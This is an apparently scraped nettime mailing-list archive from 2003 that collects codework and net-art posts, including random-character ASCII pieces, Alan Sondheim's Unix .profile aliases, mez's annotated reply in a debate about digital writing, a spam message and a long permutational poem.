TGK-SD:} >$Q)YY-Q.}!\nULX\"NC-'UCC GE^LA--\\(RH :+N&(*-S\"BI /R_HV+-IV-| ~L|?+T-B/!K ]`O|~(- {AT} FWC\nVE%T;B-?)%^ :X*KLO-OE%S B {AT} MT*X-AQ;% }|N}K|-&{WN HK.}}`-#ZB; RQ[<{]-_.?[\n\n\n------------\n\nannihilate\n\n%|/-` )!#-)`!,<:-#&:/'}?-%; {AT}  ~+)-$^ ]#|-'  {AT} [$-[=#`+,} - {AT} ]-^ %|^->-+\n/-{->>*:. ]}<-_<_`:! ]'(-)]:,-&-\"{-# :&+-!{{.{)-(| ><*-'!%(,\"< \"<'-]&;*!\n;=:-]&#%/| \\|)-$-)!( :}{-& {AT}  (.$-\"|+%[}%  {AT} *%-$]*&,., *(>-+?&%^?  {AT} ><-];,)}\n {AT} [#-$ ].<-`| ?=[-#$)-* +$:-|:~} ]&{-? >#!-:~ ;\"/-]}:\", #~)-{}:<[?& '.+-{\n*,|-`~\\ {AT}  <!--<% -.#-!> -&%-},$=- {AT} ?)+~' ?~ {AT} -\"`%&_{#,/^-# <\"'-?[!%%\n'=&-{;>(%~* &|<-=(!& ?#:-+}>\\< ^(!-== {AT} %% ] {AT} %-\\;. ;.[-}{!:*.+ +<=-*-&|-$+,- {AT} %\n#.}-=: $=$-( )|]-&?,*<-~| {},-:([#: %^~-#-)~\\ ^;[-' ^$<-+? ]$~-}-}/-[~\n=;^-*&?] `^ {AT} -( -^{-\"<$`!: \\[#-& {~<-\"^ {AT} \" ^],-+?:} `>.-~ \\]`-\\$+\\.^% >.;-*:\n:#!--} ' {AT} $-^-?![? #$\"-<>.!. ^',-{.^ {AT} | !*_-#$*:)>^ ::.-;} &?+-_ +<[-/-#\n#:#-/`\"$ -=|-&+ -\"{-|\");&}| =#.-|,[&# ~-+-?),$ `/%-_$~<~+ _ {AT} {-'.&%\n/> {AT} - {AT} \\% ]#~-~-/='-}/( {^#-;<&-` :_<-_*'{&` #$}-\")(?[: >_;-=;$}] |^^-__!{;!'\n[$]-*\">[ - {AT} %-`!^&~') \"_{-::< *>>--;<~[.:  {AT} ?|-\"*{}&% \"&[-|:< ^{|-\\\\^\n[\\*-/#{;%\\ =::-:}|)> }\\\\-*;^%\n\n\n---------------\n\nobliterate\n\n?-*'2{7ce!}_s6 \"-z&7feg3g {-t}js`1q9.fh39|[[ 5-ig48/0k '-ve3_vvmhj\"v(:\n4-$sbjg:h {AT} w<4 '-}vlqq'6h, `-e=x!dwb2g&i|u\" o-+p0kc5^_-,-rx%5t&l*$^?\nb-4<%knt')}i{$` }-*/%`(5!ncc< f-18bsq# 0-v1f#br,%6`0*44 x-(p q-255$motmkp!\nw-|%m-h.-'lxc4h:q {AT} -6| j-vok\"?>^_ {AT} j|?atlj{  {AT} -6>zjpbppfr+, {AT} hy$ 9-f#-!\n6-lt'd {AT} \\h(/}6?5qx<y {AT} k ]-ug5!n?3hm32l::l^3/r-6=\"{w#i g-$&%fd;!\nc-s`7,x.~,g2( ?-<e];#&500{ !-3\\34 /-d3k {AT} $qn_,m' --1.h(5}j[2fa 0-=7f2q<x{\n\"-dg^7] 3-}fa d-7,v%^l|v9i#origw b-q=e/;#!zm>><4m3r1 o-%&,'1xtu1!;]-=}4x:g\n5-qv%ij}cp2<q2)u f-q][:=f9x0fkj\"~` r-y=. [-aku6\")gus {AT} 0 *-?w,rva88 v-q*l|3\n*-%jn k-,]t, 4-v|9zu 1-8+k ;-yn# c-1*k8,h$^%t` ;-si9\\,0_<)n,:\\_75\ne-l)}mb}udp9~\\q/xl0i 6-|!--g0>}gc0:v *-~,f}ri0g5qic* *-5'6s(ay-(%(w_,? 2-f\nh-9;32zrvps w-g6!]\"ahyi;u$e!z| 4-z]#k2_y?3g#'(u0 b-ei`)#1 5-s<<al^(be\\08(6__\n1-6)gl7c{&-!._z g-#rm 1-<jw.'! {AT} ',oj0{v~^y5 c-[]:|0f,0<f`.f\n'-.k>|}c\"7[lbxz{ 2-](&>\\1gg82a./2 b-b &-d6`!!)qd<o, $-x?:7zt4r5:d\\tr8w i-:\n%-;<< {AT} )\\wnxi6^-`}:aw> }-`$ g-awmaw*0%e\".u 8-p&|%!_s(*rr`ng{ :-]f d-sg\nw-qoko.ia+r {AT} s~ >-0+n;(~ 7-k# j-ok16h {AT} &2j\\\\x &-^=l]u] e-pue\n[-''eey_(27w-b7;|&\"b] ]-a`i(#-z-g $-i> 9-9%10 x-qgaq9|a'h,wbs~t {AT} 8 9-[?~2\nw-x5)k~w{k:}j5 *-^]1s]%3>7u}!;^.-j7f$ngk;!}0z1<*{ ;-~`[y3b7py#4\n|-pj{s?{hu,yd,-&?\\'j)5#mc0\\9!m= '-b7jlr.bi<!_*c#i4_[7 ]-jl ]-f 0-9j^e].bd#y.\nn-%9|qh>&i m-x+qjew-%yo8^\n\n---------------------------\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.456 / Virus Database: 256 - Release Date: 2/18/2003\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Tue, 25 Feb 2003 00:31:17 -0500 (EST)\nSubject: Re:  resent from cream 12 newsletter\n\n\n\nYou can also use aliases easily - for example rm -i for rm - which means\nyou won't accidently erase anything - also mv -i etc. You can set kill -9\n= k, which makes it easier to get rid of processes. Use pico -z in order\nto temporarily background it. Use pico -w to eliminate wordwrap, etc.\n\nFor those who care about such things, here's most of my .profile for unix\n- it's pretty much the same in bash - Alan\n\nbiff n\nHISTSIZE=80\nTERM=vt100\nalias hh=\"integer q; (( q = 1 )); while (( q < 10 ))\ndo\nsleep 10\nnetstat -an | grep SYN_SENT\n(( q = q + 1 ))\ndone\"\nalias talker=\"telnet edmiston.org 8001\"\nalias pom=\"/usr/games/pom\"\nalias s=\"lynx http://www.google.com\";\nalias f=\"fg %1\"\nalias g=\"fg %2\"\nalias inc=\"lynx http://hum-webboard.ntu.ac.uk/~incubation\";\nalias search=\"plynx http://www.google.com\";\nalias lib=\"telnet locis.loc.gov\"\nalias mono=\"telnet nin.mono.org\"\nalias hangman=\"/usr/games/hangman\"\nalias t=\"ncftp trace\"\nalias rmm=\"./.rmm\"\nalias psh=\"/usr/local/bin/npsh\"\nalias mutt=\"mutt -b sondheim {AT} panix.com\"\nalias 6=\"rlogin panix6\"\nalias 3=\"rlogin panix3\"\nalias plynx=\"lynx\"\nalias find=\"gfind\"\nalias du=\"du -s\"\nalias k=\"kill -9\"\nalias ps=\"ps -g\"\nalias mac=\"tr -s '\\015' '\\012'\"\nalias clara=\"plynx 166.84.250.149/\"\nalias sendmail=\"/usr/lib/sendmail\"\nalias julu=\"./.julu\"\nalias cal=\"gcal -p -H yes\"\nalias bi=\"./.auto\"\nalias it=\"lynx .internet_txt.html\"\nalias pico=\"pico -z\"\nalias banner=\"/usr/5bin/banner\"\nalias rm=\"rm -i\"\nalias quiz=\"/usr/games/quiz\"\nalias syn=\"netstat -an | grep SYN_SENT\"\nalias x=\"plynx lynx_bookmarks.html\"\nalias b=\"nfrm\"\nalias c=\"pico calendar\"\nalias ching=\"/usr/games/ching\"\nalias fortune=\"/usr/games/fortune\"\nalias memo=\"./.memo\"\nalias p=\"/usr/etc/ping -s\"\nalias m=\"pine\"\nalias ping=\"/sbin/ping\"\nalias host=\"/usr/sbin/host\"\nstty echoe erase ^h kill ^x\nalias new=\"Mail sondheim {AT} panix3.panix.com <\"\nalias l=\"ls -ail | more; ls -il .mailspool/sondheim; wc mail/*; du -s\"\nalias h=\"history\"\nalias tf=\"./tf -n\"\nPS1=\"k!% \"\nalias proc=\"grep Subject spam; rm spam; touch spam; rm ~/.procmail/log; touch ~/.procmail/log\"\nalias e=\"fortune -w; date; times; ls -lu $HOME/.plan; exit\"\nalias archie=\"archie -es -o arch\"\nalias ph=\"stty rows 15\"\nmemo\nleave +59\nbi\npine -i\nfortune; date; pom\nEDITOR=/usr/local/bin/pico\nexport EDITOR\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nTo: o-o {AT} konf.lt\nSubject: Re:  { \" Johan Meskens CS2 jmcs2 is numerically twice and doubled \" }-----\nDate: Thu, 27 Feb 2003 17:22:55 -0500\n\nGooglism for: mi_ga\nSorry, Google doesn't know enough about mi_ga yet. \n\n\nGooglism for: johan meskens is a member of the _arc\nSorry, Google doesn't know enough about johan meskens is a \nmember of the _arc yet. \n\n\n\nGooglism for: googlism doesn't know anything\nSorry, Google doesn't know enough about googlism doesn't know \nanything yet. \n\n\n\n\n> mi_ga wrote:\n> > Johan Meskens CS2 jmcs2 wrote:\n> \n> Googlism for: johan meskens\n> \n> johan meskens is a member of the _arc\n> \n> \n> Googlism for: o-o\n> \n> Sorry, Google doesn't know enough about o-o yet.\n> \n> p____________o____________s_____________t\n> a       r       c       h       i       v       e   http://www.o-o.lt/post\n> \n> \n> \n\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: mez <netwurker {AT} hotkey.net.au>\nDate: Tue, 25 Feb 2003 14:12:32 +1100\nSubject: Re:  The Digital Writer\n\nAt 08:17 PM 24/02/03 -0500, jim andrews wrote:\n>Joel is \n\njoel is\n[read= subject is X d.fined]\n[read=\nfrozen.concept.s(h)immering.via.reduction.+.sentenced.2.streamlined.program_\nmatic.death]\n\n\n>trying to generalize in a very broad way from far too little experience \n\ntoo little experience\n[read= ab.(no)so(u)loot(ing the guts + draining extensions.*)ism breeds\nblinkered tite.ness]\n\n\n>and the\n>direction of his generalizations are, as usual, without conception of the\ntypes of depth one\n>finds in interesting computer art. \n\ndirections of generalisations\n[read= narrowing of tan.gen(e)tal methods in2 FixedFrameRating of\nconvers(e)ational parameters]\n[read= comprehension.death.by.the.proximal +\nappealing.2.efflorescence.abstractions (ie _depth_)]\n\n\n>Primarily because he has so little experience of such work\n>and, additionally, conceives of \"depth\" and the \"linguistically\nimaginative\" in such a way that\n\nlittle experience\n[read= gradings.of.experiental.worth via B.oxe(n strength + blindness\nfiltering)dFormations \n[read= b.locks and sta(gnan)tic\ngrowth.in.strip(p)ed.n.masking.discussion.tights]\n\n\n>can hardly fail to miss the depth and linguistic imagination of truly new\nwork.\n\ntruly new work:\n[read= (idiot s)avant(ism) labelling + crossing all tees with a\nsupposed.new.eye]\n\n\n>Here is the post of Joel:\n\n[read= concrete.affirm(ed)ation.of.boundaried.state.ments]\n[read= evidencing.by.proof[read N bled via concept_linkage]]\n\n\n>\"A digital writer is one who spends more time dealing with technical\nproblems than writing\".\n>\n>If artists cannot find the depth in the problems they face, then they are\nsimply 'technical\n>problems'. If artists can find the depth in the problems they face, then\nthe problems acquire\n>expressive power.\n\nif, then\n[read= ex.press.ion.via.directives]\n[u.should|will.be.directed.2!!]\n\n\n>But this is like other things in our lives, isn't it. A writer or artist\nspends his or her life\n>in a continual revision and expansion of poetics. Some stuff makes it in\nto the structure. Other\n>stuff just has no place in it.\n\nrevision/expansion/poetics/structure\n\nstructure\nstructure\nstructure\nstructure\nstructure\n\n\t\tstructure\n\t\tstructure\n\t\tstructure\n\t\tstructure\n\n\n\t\t<\t\t-->\t[left.fieldism]\n\n\t\t\t\t\tlabelism\n\n>I visit the work and think about it. I don't simply comment on commentary.\n\nI visit\nI don't\n[read= subject is I d.fined]\n[read= freeze-dried.N-ceptions +\npurr.ception.thru.self-shelved|limited(var)parameters]\n\n\n>I am not the only one, Talan, to have questioned the artistic value of the\nresults, over the\n>last few years, of the extant approaches to  hypertextual literature. This\nis not news to you,\n>surely.\n\nI am not the only 1\n[read= SciMethod + ma(turity)jority.validation.techniques]\n\n\n>I do not enjoy arguments for the sake of arguing. I am mostly a lover, not\na fighter. But there\n>are certain things that I find very hard to do. One of them is lie about\nwhat I really think\n>about literature and ideas and the quality and relevance of expression.\nBecause it matters to\n>me.\n\nto lie about\n[read= re(N)cursion.2.truth.vs.deception.s(c)ales]\n\n\n>I would love nothing better than to read and experience 'hypertext' works\nthat find the depth of\n>the problems faced therein.\n\nI would love\n[read= emotionality.re(inforcing sincerity via\nsentiments)ferencing.establisment]\n\n\n \n.           .    ....         .....\n\nwww.cddc.vt.edu/host/netwurker/\n\n.... .               .???  .......\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\n\nnettime unstable digest vol 36\nSun Mar  2 21:20:08 2003\n\n\nSubject: BOASTS AND SHAMES\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: hello\n    From: pixel <p.ixel {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Definitions of SPAM\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,webartery {AT} yahoogroups.com\n\nSubject: Re:  The Digital Writer\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery <webartery {AT} yahoogroups.com>\n\nSubject: sketch\n    From: \"Jim Andrews\" <jim {AT} vispo.com>\n    To: \"Webartery {AT} Yahoogroups. Com\" <webartery {AT} yahoogroups.com>\n\nSubject: resent from cream 12 newsletter\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: webartery {AT} yahoogroups.com\n\nSubject: Re:  The next n(l)ight and day...\n    From: \"Joel Weishaus\" <weishaus {AT} pdx.edu>\n    To: <webartery {AT} yahoogroups.com>\n\nSubject: kid\n    From: pixel <p.ixel {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: TAPP/ING Poe's The Raven (For M Blanchot, on the day of his death)\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: 6 poems\n    From: August Highland <hmfah {AT} HOTMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  resent from cream 12 newsletter\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: Re:  { \" Johan Meskens CS2 jmcs2 is numerically twice and doubled \" }-----\n    From: \"Johan Meskens CS2 jmcs2\" <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n    To: o-o {AT} konf.lt\n\nSubject: Re:  The Digital Writer\n    From: mez <netwurker {AT} hotkey.net.au>\n    To: webartery {AT} yahoogroups.com\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 2 Mar 2003 21:21:43 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200303030235.h232ZVQ29462 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00009.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 36"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00109",
                "content": "\nDate: Thu, 24 Apr 2003 15:27:25 -0700\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: nihon notes:\n\nnihon notes:\n\nthreshold:: (of house) shikii (limit) genkai (of new age) sakaime\n:: (on the ~ of) no iriguchi ni ...\n\n(sakura 2003) [image parts] {roman[tic]ization of all japanese characters}\n// layering incline: http://www.google.com/search?q=romanticization\n\n// [sign] calendar of blossoming season:\n\nthese dates are all unreadable signals//\n(from the sign-painters at the historical nijojo palace complex: kyoto)\n\n {AT}  sasanqua camellia | common camellia\n {AT}  sasanqua camellia | common camellia | japanese apricot\n {AT}  japanese apricot | common camellia | japanese andromeda\n {AT}  japanese hill cherry | weeping peach | giant dogwood | japanese bead-tree\n// read nihontombodamaki //\n {AT}  kurume azalea | white enkianthus | chisha tree\n {AT}  nanakamado | cape jasmin | azalea\n {AT}  japanese weeping pagoda tree | shrub althea | indian lilac\n {AT}  japanese weeping pagoda tree | indian lilac\n {AT}  bush clover | sweet osmanthus\n {AT}  bush clover\n {AT}  japanese maple | maidenhair tree | tea tree\n {AT}  narrow leaf firethorn | common camellia | winged eu[n]onym[o]us\n\ninsert:\n\n[kangaroo notebook // kobo abe // maryellen toman mori]\n\n\"I'm a child-demon. Your 'Labor Standards Act' and what-not have nothing to do\nwith me.\"\n\"A child-demon?\"\n\"A little demon... a demon boy.\"\n\"What is this place?\"\n\"It's Hell Valley, as if you didn't know.\"\n\"What's the name of this river?\"\n\"Sanzu--the river of the underworld.\"\n\"You mean I'm on the riverbank of Sai?\"\n\"And you pretend not to know... Those funny grass\nboots your wearing, are they shin guards?\"\n\"I was referred by a clinic.\"\n\"Don't you mean by a funeral home?\"\n\"Can you contact someone who knows what's going on?\"\n\"What's the matter, don't you trust me?\"\n\"My doctor prescribed this place; he said a sulphur spring would help.\"\n\nend insert.\n\nRefers to onsen. Refers to Calendar of Blossoming at Ninomaru (Nijojo Castle)\nand by default all calendars of blossoming, cyclical histories, botany and feudalism,\ndialogue(s), colors, names, culture represented through leit-motiv, motives,\ncollections,\nstandards, ETC. (lanes where tollway cards are taken instead of cash in the japanese\nhighway system), multiple associations, matrices of characters (hence matrices of\nbeing(s))\n\nPURASUCHIKKU PURATTOHOMU [plastic platform]\n\nstill recovering articles in space:\nspecial defined character:\n\nclearwater running// longitude/latitude [wasabi fields forever]\n\n\"picture yourself...\"\n\n\n\nDate: Sat, 26 Apr 2003 10:33:16 +0000\nFrom: Terra <terra {AT} outdoor.spb.ru>\nSubject: Re: vopros o Fa6XMQkOvQl (gmx)\nTo: Paragram <paragram {AT} gmx.net>\n\n      \u041c\u044b \u043f\u043e\u043c\u043e\u0436\u0435\u043c \u0432\u0430\u043c \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0430\u0448\u0438 \u0437\u0430\u0442\u0440\u0430\u0442\u044b \u043d\u0430 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d !!!\n                                        \n                                        \n                                 [\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438]\n                                        \n                            \u041e\u0442\u043f\u0438\u0441\u0430\u0442\u044c\u0441 \u043e\u0442 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438:\n       Enter your email address:  [T1                  ]   [UNSUBSCRIBE]\n&lt;rndmx[9]&gt;\n\n\n\n\nDate: Sat, 26 Apr 2003 12:57:08 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\n\nthe stele of AB.BA.HI.A.sondheim\n\n\n/^$/ { \"the stele of unforgiving truth\" }\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\nand all dichotomies of war and peace and life and death\n/[a]+/ { \"i want to be completely understood\" }\ni want to be completely understood\ni want it to be understood that\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\ninto true comprehension\n/[b]+/ { \"i want it to be understood that\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\n/[c]+/ { \"my writings are transformed daily\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\na form of cultural strengthening\ninto true comprehension\n/[d]+/ { \"into inconceivable philosophies and psychologies\" }\ni want to be completely understood\ni want it to be understood that\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nand all dichotomies of war and peace and life and death\ninto true comprehension\n/[e]+/ { \"so that the style is based on sememes transforming\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\ninto true comprehension\n/[f]+/ { \"from one moment to another\" }\ni want to be completely understood\nso that the style is based on sememes transforming\nfrom one moment to another\nfurther and beyond this my originality\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nswallowed whole you will comprehend\n/[g]+/ { \"carrying with them emotional and apocalyptic import\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nswallowed whole you will comprehend\na form of cultural strengthening\ninto true comprehension\n/[h]+/ { \"further and beyond this my originality\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\ninto true comprehension\n/[i]+/ { \"should never be in doubt, as well as\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\nand all dichotomies of war and peace and life and death\na form of cultural strengthening\n/[j]+/ { \"a contestation of the golden apples of the brilliant\" }\ni want to be completely understood\ni want it to be understood that\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\na contestation of the golden apples of the brilliant\nto now among all the literatures of the world\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\n/[k]+/ { \"awarded almost no one from classical times\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\nshould never be in doubt, as well as\nawarded almost no one from classical times\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\na form of cultural strengthening\n/[l]+/ { \"to now among all the literatures of the world\" }\ni want to be completely understood\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\n/[m]+/ { \"if you read me assiduously\" }\ni want to be completely understood\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nboth pure and impure\ninto true comprehension\n/[n]+/ { \"you will certainly find enlightenment\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\ninto true comprehension\n/[o]+/ { \"not just every now and then but constantly\" }\ni want to be completely understood\ni want it to be understood that\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\na contestation of the golden apples of the brilliant\nto now among all the literatures of the world\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\nand all dichotomies of war and peace and life and death\na form of cultural strengthening\ninto true comprehension\n/[p]+/ { \"so you better watch out and better not shout\" }\ni want to be completely understood\ni want it to be understood that\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\ninto true comprehension\n/[q]+/ { \"but read the stele of AB.BA.HI.A.sondheim\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nbut read the stele of AB.BA.HI.A.sondheim\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\n/[r]+/ { \"and if there are laws they are broken\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\nfurther and beyond this my originality\nshould never be in doubt, as well as\nawarded almost no one from classical times\nto now among all the literatures of the world\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\na form of cultural strengthening\ninto true comprehension\n/[s]+/ { \"and if there are rocks they are dusts and radiations\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\nfurther and beyond this my originality\nshould never be in doubt, as well as\nawarded almost no one from classical times\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\ninto true comprehension\n/[t]+/ { \"swallowed whole you will comprehend\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\ninto true comprehension\n/[u]+/ { \"both pure and impure\" }\ni want to be completely understood\ni want it to be understood that\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nswallowed whole you will comprehend\nboth pure and impure\n/[v]+/ { \"and all dichotomies of war and peace and life and death\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me 